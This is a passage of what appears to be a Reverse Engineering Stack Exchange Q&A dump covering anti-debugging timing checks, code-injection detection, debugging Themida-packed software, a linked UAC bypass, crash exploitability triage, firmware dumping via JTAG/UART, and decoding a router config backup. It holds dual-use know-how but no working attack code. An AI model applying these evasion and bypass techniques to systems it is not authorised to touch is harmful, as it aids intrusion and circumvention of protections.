According to my knowledge, several obfuscation strategies are widely used(or at least described in academic) like:

\n\n\n\n

From the examples they give when introducing these obfuscation ways, multi-thread program has not been talked.

\n\n

So I am wondering whether these strategies are feasible(or even feasible, but not very practical) in multi-thread programs?

\n", "Title": "What is the difficulty/advantage to obfuscate a multi-thread program?", "Tags": "|obfuscation|deobfuscation|multi-process|", "Answer": "

All of them are feasible. \nBy definition obfuscating code transformation is transformation that preserves functional equivalency of obfuscated program, so there is no any difference between multi-thread and single-thread programs from this point of view.

\n" }, { "Id": "3477", "CreationDate": "2014-01-19T05:55:16.910", "Body": "

I have seen several anti-debug strategies, and I am wondering if there are some anti-debugger methods that can evaluate the program running time, thus detecting the exist of debugger.

\n", "Title": "How to detect a debugger using some \"time\" checking strategies?", "Tags": "|debuggers|anti-debugging|", "Answer": "

There are CPU instructions and OS APIs that can achieve this, such as

\n\n
RDPMC\nRDTSC\nGetLocalTime\nGetSystemTime\nGetTickCount\nKiGetTickCount\nQueryPerformanceCounter\ntimeGetTime\n
\n\n

The result is achieved by requesting the current time, performing some kind of CPU-intensive operation (or requiring that someone debugging the code does so, such as single-stepping), requesting the time again, and then calculating the delta between the two. If the delta is significantly larger than you would expect in native execution mode, then it suggests the presence of the debugger. Note, however, that this is far from an accurate method, since that result is indistinguishable from a system under heavy load.

\n\n

This is covered in some detail in section \"(C) Execution Timing\" in my \"Ultimate\" Anti-Debugging Reference (http://pferrie.host22.com/papers/antidebug.pdf)

\n" }, { "Id": "3480", "CreationDate": "2014-01-19T11:00:44.017", "Body": "

Is understanding of Cryptography really important for a reverse engineer?

\n\n

Thanks.

\n", "Title": "How much Cryptography knowledge is important for reverse engineering?", "Tags": "|cryptography|", "Answer": "

I'd say it's a very useful tool to have in the arsenal, but your use of it will depend upon your ultimate goals. Personally, I use it a fair bit on binary application assessments, but that's not the case for everyone. As I said, it largely depends on what you want to be doing.

\n\n

At the end of the day, you will see cryptography being used in applications if you end up doing reverse engineering work. Understanding and breaking that cryptography may or may not be part of your job, but it's always nice to have at least a basic understanding of the field. It's always a nice +1 on your resume, too.

\n\n

In terms of what you should learn, I'd say avoid the \"classic cipher\" stuff and go straight for the meat and potatoes. I can count on one hand the number of times I've had to break a simple custom transposition cipher or substitution cipher in a real product. They're just not used in reality, and if the client is using such awful \"crypto\" then that's already a major issue to flag to them - breaking it becomes a moot point.

\n\n

You want to be looking into:

\n\n\n\n

The list is pretty big, but it's stuff you can pick up from Wikipedia and other various places online at your own pace. If you understand half of the topics above at a level strong enough to identify a weak implementation, then you're very much on track. Almost every single product I've ever done work that has used crypto has had an issue in that list.

\n" }, { "Id": "3482", "CreationDate": "2014-01-19T11:57:18.490", "Body": "

I've seen a few memory forensics tutorials, which start by looking for injected code in the \"victim's\" process memory. They always seem to find the injected code in pages which have RWX access (i.e. PAGE_EXECUTE_READWRITE).

\n\n

Does this assumption always hold? Does code injected (e.g. by malware) into the process memory of a \"victim\", always belong to a page with RWX access? Or can the page access be changed, by the code that is injected? If so, how can this change be done via winapi?

\n", "Title": "Does code injected into process memory always belong to a page with RWX access?", "Tags": "|windows|memory|winapi|", "Answer": "

The reason for targeting the RWX pages is that the injected code most often carries data in the same region as the code, and requires that the data are writable. Thus the W flag is needed. The X flag is required to support DEP, in case the process opted in, or if the system enforces it for everyone. The R flag is entirely optional when requesting the page. Windows will ensure that it is set anyway.\nIt is of course possible for malware to allocate two regions, one [R]X and one [R]W, and write only to the writable section, but I don't recall ever seeing this technique being used. For one thing, it complicates the injected code.

\n" }, { "Id": "3487", "CreationDate": "2014-01-19T18:48:44.367", "Body": "

There are many tutorials which show how to detect injected code into process memory. However, this generally requires using a debugger.

\n\n

Is it possible for a process to somehow detect if it has been injected by another process using winapi? If so, how?

\n\n

More specifically, are there any \"fixed/likely\" characteristics of injected code? For instance, from this question it appears that injected code can be characterized by always appearing in pages that have the following protection flags set: PAGE_READWRITE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_WRITECOPY and possibly (but unlikely) PAGE_EXECUTE. Can you point out other characteristics of injected code?

\n", "Title": "Can a Windows process check if it has been injected by another process?", "Tags": "|windows|memory|winapi|", "Answer": "

One way that a process can detect the presence of injected threads is by the use of Thread Local Storage. When a thread is injected, the host's Thread Local Storage callbacks will be called unless the injector takes care to disable that. If the callbacks are called, then the host can query the start address of the new thread and determine if it is within the host's defined code region (which only the host would know) See the Thread Local Storage section in my \"Ultimate\" Anti-Debugging Tricks paper (http://pferrie.host22.com/papers/antidebug.pdf) for an example of that.

\n\n

While this does not detect everything (some malware use cavities within the host's existing code section in order to perform the injection), it will certainly catch some things.

\n\n

However, the short answer to your question is actually \"no\". There isn't a way for a process to \"know\" in all cases that something has been injected. It is \"yes\" for most cases, but not all of them.

\n" }, { "Id": "3489", "CreationDate": "2014-01-19T19:49:39.587", "Body": "

Title says it all. I'm trying to RE a video game which is packed with Themida and the second I attach OllyDbg it crashes. When on XP, I can use StrongOD and PhantOm but neither of these work properly on Windows 7. I could use the XP machine via RDP but my Win 7 machine is much less irritating to use.

\n\n

Does anybody have any suggestions?

\n", "Title": "Are there any OllyDbg anti-debug/anti-anti-debug plugins what work with Windows 7 / NT 6.x?", "Tags": "|windows|ollydbg|anti-debugging|packers|", "Answer": "

I'd suggest taking a look at x64dbg. Despite what the dumb name might suggest, there is a 32 bit version. With that out of the way, I would give ScyllaHide a try.

\n" }, { "Id": "3495", "CreationDate": "2014-01-20T04:45:41.053", "Body": "

Problem Statement

\n

I have a file composed entirely of data structures; I've been trying to find a tool that will enable me to open this file, and declare (perhaps) a type and offset such that i may work with the presumed primitive data type individually.

\n

e.g. I declare the 4 bytes located at offset 0x04 to be a 32-bit unsigned integer, and would like to inspect the value at this location (read as big-endian perhaps) and then work with this integer individually (perhaps see what it looks like encoded as a 4-byte ascii string and attempt to read it, etc.)

\n

Specifics

\n

I have a 4096 byte file containing C-structs with member elements as integers ranging from 16-64 bits in length; the following is an example:

\n
struct my_struct {\nuint_32 magic\n} // sizeof(my_struct) == 0x04\n
\n

In this case, magic = 'ball', and so when the file is opened in a text editor it reads as 'llab...', and obviously can also be represented as a 32-bit integer

\n

Question

\n

Is there a tool that enables static analysis of flat data structure files?

\n

What I've considered thus far as a solution

\n

I've considered writing a command line tool in Python to do this, but if something already exists I'd prefer to save time, and perhaps learn more about this topic by using a tool designed by someone more experienced. If it seems to you that I am going about this incorrectly (this is my first serious exploration into this kind of reversing) please guide my understanding, thanks.

\n

Where I have already researched

\n

Googled 'reverse engineering tools' and browsed the links

\n

Checked wikipedia's reverse engineering pages

\n

Tried some first principles reasoning

\n

Checked pypi

\n

Results

\n

There are three completely valid and correct answers, but I've marked the most detailed and least expensive of them as correct, because it is the most accessible to members of the community reviewing this question.

\n", "Title": "What tools exist for excavating data structures from flat binary files?", "Tags": "|disassembly|tools|static-analysis|", "Answer": "

Hexinator

\n\n\n\n

Drawbacks:

\n\n

at the time of writing it seems to have issues with more than one open grammar + one open file. When opening a second file for the same grammer, it crashed. Save early and save often.

\n\n

Screenshot of a partially analyzed file:

\n\n

\"Screenshot\"

\n" }, { "Id": "3498", "CreationDate": "2014-01-20T12:49:03.350", "Body": "

How can I detect/mark recursive functions in IDA?

\n\n

Trivial method would be to check every function's call list and if it calls itself then it's recursive. I'ld like to put a comment or some kind of indicator that would help me distinguish these functions.

\n", "Title": "Detecting recursive functions in IDA", "Tags": "|ida|ida-plugin|functions|callstack|automation|", "Answer": "

I lack 9 reputation points, so sadly I can't comment the great answer by w_s. ;)

\n\n

Just for completeness, the concept described is known in graph theory as \"Tarjan's Algorithm\" for finding strongly connected components.

\n\n

Wikipedia has a nice animation that helps following the steps.\"Tarjan's

\n\n

For study, here is another (more formal) Python implementation, it's the one I have used for finding loops in functions in IDAscope but it's easily adapted for finding recursive functions.

\n" }, { "Id": "3501", "CreationDate": "2014-01-20T15:32:35.123", "Body": "

Is it possible for a running process to turn off User Account Control (UAC) via a Windows API call? If so, which API calls are needed?

\n\n

I found this interesting question/answer on stackoverflow, however, I'm interested if there is some other way to do it.

\n", "Title": "Can a process disable UAC via WinAPI without prompting the user?", "Tags": "|windows|winapi|", "Answer": "

This seems like a security ex question instead of one about reverse engineering. Therefore I'd keep my answer short.

\n\n

This should not be possible. Simply as malware would abuse this, what you could do if you want this is find a 0day in kernel space and get SYSTEM privileges. Back in 2010 there was someone from China who has posted a method on the code project(if I recall correctly). It's now hosted on the exploit-db..

\n\n

http://www.exploit-db.com/bypassing-uac-with-user-privilege-under-windows-vista7-mirror/

\n\n

Goodluck on your research.

\n" }, { "Id": "3503", "CreationDate": "2014-01-21T00:24:41.743", "Body": "

Is there a practical way to find if the raw binary (firmware image for example) has symbol table ? Finding start or end of it ? And if it exists is it a single block or can it be seperate multiple blocks with another data inbetween ?

\n", "Title": "How to determine if binary has symbol table", "Tags": "|disassembly|firmware|symbols|", "Answer": "

I worked with some types of symbol tables. All these types are very different and can not be defined as something that allows automatic detection. It can be some kind of list of tuples like (pointer to name, type, pointer to object, [something else]). There are a lot of other variants also. \nAny time I succeeded to recognize symbol table it was done by manual inspection of analyzed dump.

\n\n

My methodology to find such symbol table is as follows (assuming that IDA didn't find it automatically):

\n\n

1 - Find all strings in the binary, sort them and inspect results.\n If you see a lot of potential object names (function names, global variable names etc) you can suspect that you can use it and it is possible that there is symbol table in the binary.

\n\n

2 - Choose some strings from the set. Check references to them. If you find \nthese references in something that looks like array of structures or any other regular data structure it might be your symbol table.

\n\n

3 - When you understand what is the structure of your symbol table you can rename your objects with simple IDAPython script.

\n" }, { "Id": "3507", "CreationDate": "2014-01-21T16:31:55.710", "Body": "

I know some binary diff tool like VBinDiff and others.

\n\n

Currently I have a large number of binary, around 500.

\n\n

So I am looking for a binary tool to quantitatively evaluate the difference of binaries..

\n\n

Like evaluate the difference of binary 10 and binary 100 is 56%. Difference of binary 50 and binary 200 is 78%.

\n\n

Is there any tool like this?

\n\n

Thank you!

\n", "Title": "Is there any tool to quantitatively evaluate the difference of binary?", "Tags": "|binary-analysis|bin-diffing|", "Answer": "

This is probably a bit further outside the normal reverse engineer's toolchest, but still a possibility. Courgette is the codename of the update mechanism behind Chromium and thus Chrome. Quote:

\n\n
\n

Courgette transforms the program into the primitive assembly language\n and does the diffing at the assembly level:

\n\n
server:\n    asm_old = disassemble(original)\n    asm_new = disassemble(update)\n    asm_new_adjusted = adjust(asm_new, asm_old)\n    asm_diff = bsdiff(asm_old, asm_new_adjusted)\n    transmit asm_diff\n\nclient:\n    receive asm_diff\n    asm_old = disassemble(original)\n    asm_new_adjusted = bspatch(asm_old, asm_diff)\n    update = assemble(asm_new_adjusted)\n
\n
\n\n

Of course this is limited by the number of CPU architectures. You didn't state your requirements (unless it was written with invisible pixels ;))

\n" }, { "Id": "3510", "CreationDate": "2014-01-21T21:37:51.397", "Body": "

i am analysing a crash, the crash occurs in a function that its always on use, if set a break point in this function always stop the program.

\n\n

When the crash occurs, overwrite mm3 register, i want when overwrite mm3 with my values use the breakpoint.

\n\n

the original estate of mm3 register its 0:0:e3cb:f144, when crash its aaaa:aa00:0:0.

\n\n

when try this :

\n\n
bp abpatch \".if @mm3  = aaaa:aa00:0:0  {} .else {gc}\" \n
\n\n

error, i cant use \":\" on bp

\n\n

if try this:

\n\n
bp abpatch \".if @mm3  = aaaaaa000:0  {} .else {gc}\"\n
\n\n

or

\n\n
bp abpatch \".if (@mm3 & 0x0`ffffffff) = 0x0`aaaaaa0000  {} .else {gc}\" \n
\n\n

Program crash and dont stop.

\n\n

commonly i analyse the crash with -4 at the address that function crash, but now this function is always running on the program.

\n\n

I put aaaa for easy location.

\n\n

I think too need stop just before mm3 have got this values, but i don't know :(

\n\n

How I can put a break point on a mm3 register??\nany other solution for this ??

\n\n

Any help or suggestion? . Thank you in advanced.

\n\n

Regards

\n", "Title": "Specifying an MMX register's value in WinDbg", "Tags": "|windbg|", "Answer": "

bp abpatch \".if mm3 = aaaaaa0000000000 {} .else {gc}\"

\n" }, { "Id": "3516", "CreationDate": "2014-01-23T10:56:31.777", "Body": "

What I'm doing now is placing an awful lot of comments about function variable values, global variable values as comments in my IDA database, which I find ugly after a while and obviously not a best practice.

\n\n

I was wondering if it's possible to store runtime variable values of your target process from a dynamic debugging session in your IDA database(or any other storage/tool) in some way. For example you run IDA debugger, or some external tool like olly/immunity, and store the encountered values (globals, function parameters) in IDA, so you can see actual values when doing your static analysis in IDA (for example on mouse over).

\n\n

I don't know if anybody done this before, but it think it would be a really helpful feature.

\n\n

Is this possible, any similar tool/solution out there you know of? How do you process static+dynamic data of the reversed application?

\n\n

I'm not tied to IDA, but I find that environment to be most fitting for storing my result data. I'm interested in any solution.

\n", "Title": "Static analysis data combined with dynamic analysis knowledge", "Tags": "|ida|binary-analysis|static-analysis|dynamic-analysis|debugging|", "Answer": "
\n

funcap uses IDA's debugging API to record function\n calls in a program together with their arguments (before and after).

\n \n

This is very useful when dealing with malware which uses helper\n functions to decrypt their strings, or programs which make many\n indirect calls.

\n
\n\n

\"a\"

\n" }, { "Id": "3526", "CreationDate": "2014-01-23T16:55:36.967", "Body": "

Appreciate it's a broad question, but despite days of Googling I haven't found straight forward explanation of the general principle of how to \"capture\" or copy an unkown firmware from a piece of hardware.

\n\n

I gather once you have it you can begin to use various tools to analyse it, but what I want to understand is how to get it in the first place.

\n\n

From what i understand you need to connect to it via a JTAG or UART connection , after that I'm a bit lost.

\n", "Title": "How do I extract a copy of an unknown firmware from a hardware device?", "Tags": "|hardware|firmware|", "Answer": "

As you may suspect, it very much depends on the hardware. In general, you are correct, JTAG and/or UARTs can be often be used to get a copy of the firmware (downloading a firmware update from the vendor is usually the easiest way of course, but I'm assuming that is not what you mean).

\n\n

JTAG implementations typically allow you to read/write memory, and flash chips are typically \"mapped\" into memory at some pre-defined address (finding that address is usually a matter of Googling, experience, and trial and error); thus, you can use tools like UrJTAG and OpenOCD to read the contents of flash.

\n\n

UART is just a serial port, so what interface or options it provides (if any) is entirely up to the developer who created the system; most bootloaders (e.g., U-Boot) do allow you to read/write flash/memory, and will dump the ASCII hex to your terminal window. You then would need to parse the hexdump and convert it into actual binary values. Again, YMMV and there may be no way to dump memory or flash via the UART.

\n\n

Other devices may have other mechanisms that provide similar functionality; for example, Microchip's PIC microcontrollers use ICSP (In Circuit Serial Programming) interfaces to read, write, and debug firmware. Such interfaces are usually proprietary, and may or may not be documented (Microchip's is well known).

\n\n

Vendors may take steps to protect or disable debug interfaces such as JTAG, UART and ICSP, but often you can dump the flash chip directly (this is usually faster than JTAG/UART, but may require some de/soldering). For devices such as microcontrollers that have the flash chip built-in (i.e., the flash chip is not exposed to you), you may need to resort to more advanced techniques for defeating such copy-protections.

\n\n

Personally, since I don't deal much with microcontroller based systems, dumping the flash chip directly is usually my go-to for grabbing a copy of the firmware from the device.

\n" }, { "Id": "3529", "CreationDate": "2014-01-23T18:17:48.977", "Body": "

I have a crash that is exploitable, the information is this:

\n\n
  Exploitability Classification: EXPLOITABLE\n    Recommended Bug Title: Exploitable - User Mode Write AV starting at myfunction!mycomponet+0x0000000000018204 (Hash=0xad0842a8.0x0as0d4ca)\n\nUser mode write access violations that are not near NULL are exploitable.\n
\n\n

I only have experience on stack overflow, and here don't see eip overwrite.

\n\n

I know that fault, is when pass to vulnerable function a value greater than 80000001, the crash occurs.

\n\n

But I don't know which type of vulnerability is it, heap overflow, integer, format string , command injection etc..

\n\n

My question, with the exploitable response indicate the vulnerabilities ??? \nI don't understand the exploitable response.

\n\n

Any suggestion or indication ?

\n\n

Sorry for my newbie question, I am a beginner in exploiting.

\n", "Title": "Help on Exploitable response", "Tags": "|exploit|windbg|", "Answer": "

It was classified as exploitable because it's a write access-violation to a non-null address. In theory, an attacker may be able to exploit this vulnerability to write arbitrary code to an arbitrary address.

\n" }, { "Id": "3532", "CreationDate": "2014-01-24T07:42:44.657", "Body": "

Is there any way to get a jar file from a jar wrapped using a exe wrapper.\nI have an exe file and I know that it was wrapper using exe wrapper (launch4j to be precise).\nHow do I unwrap this jar to get back the jar.\nI have seen that I can unwrap it in Linux using fileroller, how do I do it in windows

\n\n
ADD : How is it different if it wrapped using wrappers other than launch4j\n
\n", "Title": "Get jar back from wrapped(into exe) jar", "Tags": "|decompilation|executable|jar|", "Answer": "

Since we're talking windows (and 5 years later) how about this: intall the program, go to the install dir and get the jar(s) from there. Now you can decompile the jar directly.

\n" }, { "Id": "3541", "CreationDate": "2014-01-24T12:12:47.157", "Body": "

I was just disassembling and debugging an ARM binary for fun and I noticed something unusual. Consider the following set of instructions:-

\n\n
   0x00008058 <+4>: mov r1, pc\n   0x0000805c <+8>: add r1, r1, #24\n   0x00008060 <+12>:    mov r0, #1\n
\n\n

I tried setting a breakpoint at 0x0000805c and checked the value of the register r1. I was expecting to see 0x0000805c -- however, interestingly the value is 0x8060.

\n\n

Why is this? Is this because of some sort of instruction pipelineing?

\n", "Title": "ARM debugging interesting behavior", "Tags": "|debugging|arm|", "Answer": "

Yes, it's because of pipelining.

\n\n

From http://winarm.scienceprog.com/arm-mcu-types/how-does-arm7-pipelining-works.html --

\n\n
\n

\"ARM

\n \n

PC (Program Counter) is calculated 8 bytes ahead of current\n instruction.

\n
\n" }, { "Id": "3544", "CreationDate": "2014-01-24T18:02:26.497", "Body": "

I have found a vulnerability that write access-violation to a non-null address, but I don't know how exploit.

\n\n

I know that fault, is when pass to vulnerable function a value greater than 80000001, the crash occurs.

\n\n

But my problem, I only know typical buffer stack overflow, and need learn how exploit this, and knowing what is vulnerability (heap, format string, integer overflow, etc).

\n\n

I am confused because only crash when is 800000001 (negative), not with 80000000 or 80000002. With this response:

\n\n
Exploitability Classification: EXPLOITABLE\n    Recommended Bug Title: Exploitable - User Mode Write AV starting at myfunction!mycomponet+0x0000000000018204 (Hash=0xad0842a8.0x0as0d4ca)\n\nUser mode write access violations that are not near NULL are exploitable.\n
\n\n

What vulnerability is and how exploit ? Any suggestion or recommended lecture ?

\n", "Title": "How exploit write access-violation to a non-null address", "Tags": "|exploit|windbg|", "Answer": "

Sorry this should be a comment but dont have enough reputation.

\n\n

This is too vague for people to help you. Do you have the disassembly around the crash? It only crashes when what is 8000000001? That makes it sound like potentially an integer overflow. Where is it writing? Can you control the address that its writing to? Do you have control of what is being written?

\n" }, { "Id": "3550", "CreationDate": "2014-01-25T11:34:23.220", "Body": "

I am a beginner in Reverse Engineering and am trying to improve my skill by participating in any CTF's I can and solving CrackMe's. I am trying to find out why Binary Exploitation and Reverse Engineering are always separated as two different topics.

\n\n

My Question is simple:

\n\n
\n

Is Reversing different from Binary Exploitation?

\n
\n", "Title": "Difference Between Binary Exploitation and Reverse Engineering?", "Tags": "|ida|ollydbg|binary-analysis|", "Answer": "

Yes, it is different. Binary exploitation intended to change behaviour of the binary, and reverse engineering intended to understand how it works.

\n\n

BInary exploitation requires some reverse engineering, reverse engineering doesn't necessarily requires binary exploitation.

\n\n

The best example I know about it is overcoming DRM protections of media content.\nIt requires a lot of reverse engineering and almost not requires binary exploitation.

\n" }, { "Id": "3558", "CreationDate": "2014-01-26T09:36:22.437", "Body": "

How to edit .asec or compare two .asec files witch are stored by app at location mnt/.android_souce/app name.asec.\nThis file get updated whenever data connection is on / while using app to upload and download app data .\nThis folder not able to access on non rooted Phone but can able to access on pc with usb .\nWhat are capable software that can read and writing easily .asec file ?

\n", "Title": "How to edit .asec file?", "Tags": "|android|java|hex|", "Answer": "

The ASEC file is a TwoFish encrypted container which in turn is a dm-crypt volume that gets mounted by Linux's device mapper at /mnt/asec/[app_id] (The AppID is based on the package name). The 128-bit key to the container can be found in /data/misc/systemkeys but this file requires root access for reading. You can read exactly how the encryption works here. Moving on, the mounted volume will contain an unencrypted apk of the application. In order to change the desired data, it's necessary to understand where the data is stored and how it is done. For that, the application will have to be reverse-engineered by either decompilation - list of tools - or by disassembly to smali and posterior debugging using tools such as apktool and androguard.

\n\n

Sometimes, these steps can be bypassed as the app uses a database file in it's directory (usually /data/data//) that you can edit with any SQLite editor, such as SQLite Debugger or using the sqlite3 set included by default in Android, or keeps the relevant information in memory in a way that is trivial to change it with a memory editor such as GameGuardian. However, the data can be stored server-side and transmitted through the network when app is started and then kept in memory in a not easily modifiable way so that in order to be able to change it, you will need to not only reverse-engineer the application but also to intercept and modify the traffic it receives in order to transmit the new information to the application.

\n" }, { "Id": "3569", "CreationDate": "2014-01-28T01:18:24.130", "Body": "

I recently read that GCC annotates the source-code into the debug symbols it produces, although I haven't found any examples on how to retrieve this.

\n\n

If this is true, how can I view the data in the debug symbols, mainly the code annotations.

\n\n

What would be the steps I need to complete starting with a gcc compiled dll with debug symbols.

\n", "Title": "How to extract information from dll compiled in gcc with debug symbols?", "Tags": "|decompilation|debuggers|dll|debugging|compilers|", "Answer": "

Use either readelf utility with -w (or --debug-dump) command line switch or nm utility with -a command line switch.

\n" }, { "Id": "3589", "CreationDate": "2014-01-31T08:30:03.253", "Body": "

The THREADENTRY32 structure contains a member called th32OwnerProcessID, which is described as:

\n\n
\n

The identifier of the process that created the thread.

\n
\n\n

I'm not sure if I understand how the CreateRemoteThread function works. However, I would expect that the thread created by Process A via CreateRemoteThread, in the address space of Process B, would have the th32OwnerProcessID equal to the ID of Process A (if we were to take the description of the th32OwnerProcessID as quoted above). I was a bit surprised to see that it is actually equal to the ID of Process B.

\n\n

Could someone please explain why this is so? And how to get the ID of the actual creator of the thread, i.e. Process A in my example?

\n", "Title": "How to get the PID of the a thread's creator (not owner, not host)", "Tags": "|winapi|thread|multi-process|", "Answer": "

That should really say \"the identifier of the process that is hosting the thread\", since that's what it is. The snapshot that is created by the Toolhelp APIs is system-wide, so in order to understand where a thread lives, you need its process ID. That would be meaningless if it said process A, if process A created a remote thread in process B and then exited. In that case, the PID belonging to process A at the time of creation might end up being reused by the next process that is created, and obviously be completely unrelated to the thread.

\n\n

Consider this a different way: creating a remote thread is merely making a request to the remote process to create the thread, so the remote process is the one who creates thread. There is no concept of who made the request.

\n" }, { "Id": "3593", "CreationDate": "2014-02-01T03:51:19.833", "Body": "

so I have backup from my router its zte zxv10h201l and its linux based but I can not identify type of compression of this file.\nHere is couple of first "lines" of it

\n
\n00000000  99 99 99 99 44 44 44 44  55 55 55 55 aa aa aa aa  |....DDDDUUUU....|\n00000010  00 00 00 00 00 00 00 00  00 00 00 04 00 00 00 00  |................|\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40  |...............@|\n00000040  00 01 00 00 00 00 00 80  00 00 23 90 00 00 00 00  |..........#.....|\n00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000080  04 03 02 01 00 00 00 00  00 00 00 0b 5a 58 56 31  |............ZXV1|\n00000090  30 20 48 32 30 31 4c 01  02 03 04 00 00 00 00 00  |0 H201L.........|\n000000a0  01 4c 54 00 00 23 78 00  00 20 00 40 34 b7 80 e9  |.LT..#x.. .@4...|\n000000b0  80 47 c0 00 00 00 00 00  00 00 00 00 00 00 00 00  |.G..............|\n000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n000000d0  00 00 00 00 00 20 00 00  00 03 d0 00 00 04 18 78  |..... .........x|\n000000e0  da ed 58 61 53 da 30 18  fe be 5f c1 f1 03 b0 29  |..XaS.0..._....)|\n000000f0  88 db 4e 77 07 6d d1 de  00 3b e8 64 b7 2f 5e 6c  |..Nw.m...;.d./^l|\n00000100  23 e6 2c 49 2f 4d 11 f6  eb 97 da 56 0b da 34 45  |#.,I/M.....V..4E|\n00000110  77 d3 13 94 2b 94 27 6f  9e be 79 f2 bc 6f 7b 6c  |w...+.'o..y..o{l|\n00000120  f6 bf 7d 6a 88 d7 b1 7b  15 34 08 5c a0 93 a6 d9  |..}j...{.4.\\....|\n00000130  ef c3 08 35 1b 13 7a 67  d0 98 f0 93 26 68 a6 a0  |...5..zg....&h..|\n00000140  7b a0 38 dd 18 d3 93 a6  56 38 79 ff 83 39 ca 02  |{.8.....V8y..9..|\n00000150  d8 03 9b 5c d3 66 63 09  03 01 03 e2 4f 17 ef 8e  |...\\.fc.....O...|\n00000160  96 be 80 d6 d5 40 27 fd  a6 03 fd 30 3b 7d 98 fc  |.....@'....0;}..|\n00000170  92 1e f5 ec d8 4e 8e cd  83 c2 dc 07 62 f2 8c ef  |.....N......b...|\n
\n

Afer that I connected ttl-rs232 to router and when backup button is pressed on my router web UI this show up in log

\n
\n=~=~=~=~=~=~=~=~=~=~=~= PuTTY log 2014.01.31 22:58:29 =~=~=~=~=~=~=~=~=~=~=~=\n04:15:12 [webd][Info] [upload.c(1138)my_upload_file] Enter my_upload_file.\n04:15:12 [webd][Info] [upload.c(1343)my_upload_file] Begin download file.(filetype : config)\n04:15:12 [DB][Info] [dbc_mgr_file.c(1644)dbGetBinFile] DB get cfg start\n04:15:12 [FLASHRW][Info] [proc_file_mod.c(1204)file_open] open file: /proc/cfg/db_user_cfg.xml\n04:15:12 [FLASHRW][Info] [proc_file_mod.c(1334)file_close] close file: /proc/cfg/db_user_cfg.xml\n04:15:12 [DB][Info] [dbc_mgr_file_en(570)dbcCfgFileIsEnc] FileIsEncry return 0\n04:15:12 [FLASHRW][Info] [proc_file_mod.c(1204)file_open] open file: /proc/cfg/db_user_cfg.xml\n04:15:12 [FLASHRW][Info] [proc_file_mod.c(1334)file_close] close file: /proc/cfg/db_user_cfg.xml\n04:15:12 [DB][Info] [dbc_mgr_file_si(198)dbcCfgFileSign] SignFile return 0\n04:15:12 [DB][Info] [dbc_mgr_file_ve(277)dbcCfgFileVersi] add FileVersion return 0\n04:15:12 [DB][Warn] [dbc_mgr_file.c(1708)dbGetBinFile] DB download cfg(iRet:0)\n04:15:12 [webd][Info] [upload.c(644)create_config_f] user cfg path:/var/tmp/version-cfg\n
\n

So I searched router firmware for srings of text like above and found this line

\n
\n

deflate 1.1.4 jean loup gailly

\n
\n

nearby some of strings, after quick google it seams that this is zlib and its used for compression of "something", after that with my little knowlage I tried to decompress it with comands like this

\n
\n

printf "\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00" |cat - zlib.raw |gzip -dc

\n

cat /tmp/data | openssl zlib -d

\n
\n

but with no luck, later on I found similar file on web with no compression on it, so I take a look and it seams that header of file and couple more "byts" are the same as my compressed file and Im not sure how I can skip these first "byts" and try to decompress rest of "data", also from log u can see some type of "Sign" which are also need to be skiped, here is how similar file which is not compressed look like

\n
\n00000000  99 99 99 99 44 44 44 44  55 55 55 55 aa aa aa aa  |....DDDDUUUU....|\n00000010  00 00 00 00 00 00 00 00  00 00 00 04 00 00 00 00  |................|\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40  |...............@|\n00000040  00 02 00 00 00 00 00 80  00 04 5e 85 00 00 00 00  |..........^.....|\n00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000080  3c 44 42 3e 0a 3c 54 62  6c 20 6e 61 6d 65 3d 22  |<DB>.<Tbl name=\"|\n00000090  44 42 42 61 73 65 22 20  52 6f 77 43 6f 75 6e 74  |DBBase\" RowCount|\n000000a0  3d 22 31 22 3e 0a 3c 52  6f 77 20 4e 6f 3d 22 30  |=\"1\">.<Row No=\"0|\n000000b0  22 3e 0a 3c 44 4d 20 6e  61 6d 65 3d 22 49 46 49  |\">.<DM name=\"IFI|\n000000c0  6e 66 6f 22 20 76 61 6c  3d 22 30 31 30 31 30 32  |nfo\" val=\"010102|\n000000d0  30 31 30 34 30 30 30 30  30 30 30 31 30 36 30 31  |0104000000010601|\n000000e0  30 34 30 30 30 30 30 32  31 32 35 30 30 30 30 30  |0400000212500000|\n000000f0  30 30 35 30 30 31 30 30  30 30 35 30 30 32 30 30  |0050010000500200|\n00000100  30 30 35 30 30 33 30 30  30 30 22 2f 3e 0a 3c 2f  |0050030000\"/>.</|\n00000110  52 6f 77 3e 0a 3c 2f 54  62 6c 3e 0a 3c 54 62 6c  |Row>.</Tbl>.<Tbl|\n00000120  20 6e 61 6d 65 3d 22 45  54 48 22 20 52 6f 77 43  | name=\"ETH\" RowC|\n00000130  6f 75 6e 74 3d 22 34 22  3e 0a 3c 52 6f 77 20 4e  |ount=\"4\">.<Row N|\n00000140  6f 3d 22 30 22 3e 0a 3c  44 4d 20 6e 61 6d 65 3d  |o=\"0\">.<DM name=|\n00000150  22 56 69 65 77 4e 61 6d  65 22 20 76 61 6c 3d 22  |\"ViewName\" val=\"|\n00000160  49 47 44 2e 4c 44 31 2e  45 54 48 31 22 2f 3e 0a  |IGD.LD1.ETH1\"/>.|\n00000170  3c 44 4d 20 6e 61 6d 65  3d 22 4c 44 57 44 56 69  |<DM name=\"LDWDVi|
\n

Here u can find compressed backup.

\n

Edit: On picture u can see comparasion of two files db_user_cfg.xml (file from log) on (left side) and that "same file" but when is "backedup" on right side

\n

\"Zte

\n", "Title": "RE Compressed backup file,router linux based so is it compresed with zlib?", "Tags": "|linux|", "Answer": "

Every compressed chunk in the config.bin file is prepended by a small 3-DWORDs header containing the following information:

\n\n
    \n
  1. the length of the uncompressed xml chunk. This value is 0x10000 for all but the last chunk
    2. \n
  2. the length of the compressed zlib chunk
    3. \n
  3. the cumulative length of the file after the chunk is appended. This value is 0x0 for the last chunk.
    4. \n
\n\n

These headers can be used to avoid false positives during the detection of the chunks: valid chunks will have either a 0x10000 on the first field or a 0x0 on the third field. The headers can also be used to verify the uncompressed data size.

\n\n
